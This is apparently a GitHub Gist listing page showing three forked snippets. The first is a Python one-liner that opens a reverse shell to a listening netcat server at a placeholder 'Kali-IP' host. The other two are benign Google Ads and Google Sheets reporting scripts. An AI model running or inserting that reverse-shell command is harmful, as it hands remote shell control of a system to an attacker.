Skip to content

Instantly share code, notes, and snippets.

@skinsch
skinsch / python-reverse-shell.txt
Created December 30, 2020 22:18 — forked from lucasgates/python-reverse-shell.txt
Python one-liner to create a reverse shell to listening netcat server.
python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
@skinsch
skinsch / Populate Sheets With AdWords Data.js
Created March 27, 2018 01:19 — forked from siliconvallaeys/Populate Sheets With AdWords Data.js
Populate Google Sheet With Custom AdWords Data
/*
// AdWords Script: Put Data From AdWords Report In Google Sheets
// --------------------------------------------------------------
// Copyright 2017 Optmyzr Inc., All Rights Reserved
//
// This script takes a Google spreadsheet as input. Based on the column headers, data filters, and date range specified
// on this sheet, it will generate different reports.
//
// The goal is to let users create custom automatic reports with AdWords data that they can then include in an automated reporting
// tool like the one offered by Optmyzr.
@skinsch
skinsch / Aggregate Spreadsheet Data By Week or Month.js
Created March 27, 2018 01:17 — forked from siliconvallaeys/Aggregate Spreadsheet Data By Week or Month.js
This Google App Script will aggregate call data from CallRail on a Google Sheet. You can use Zapier to populate data about individual calls on a Google Sheet. Then use this code to aggregate the individual call data by week or month. You may need to edit the code to match your column headers.
var AGGREGATION_RANGE = "month";
function updateAggregateData() {
var dataSheetName = "Raw Data";
var reportSheetName = "For Reports";
var timeAggregatedData = new Array();
var answeredCalls = 0;
var notAnsweredCalls = 0;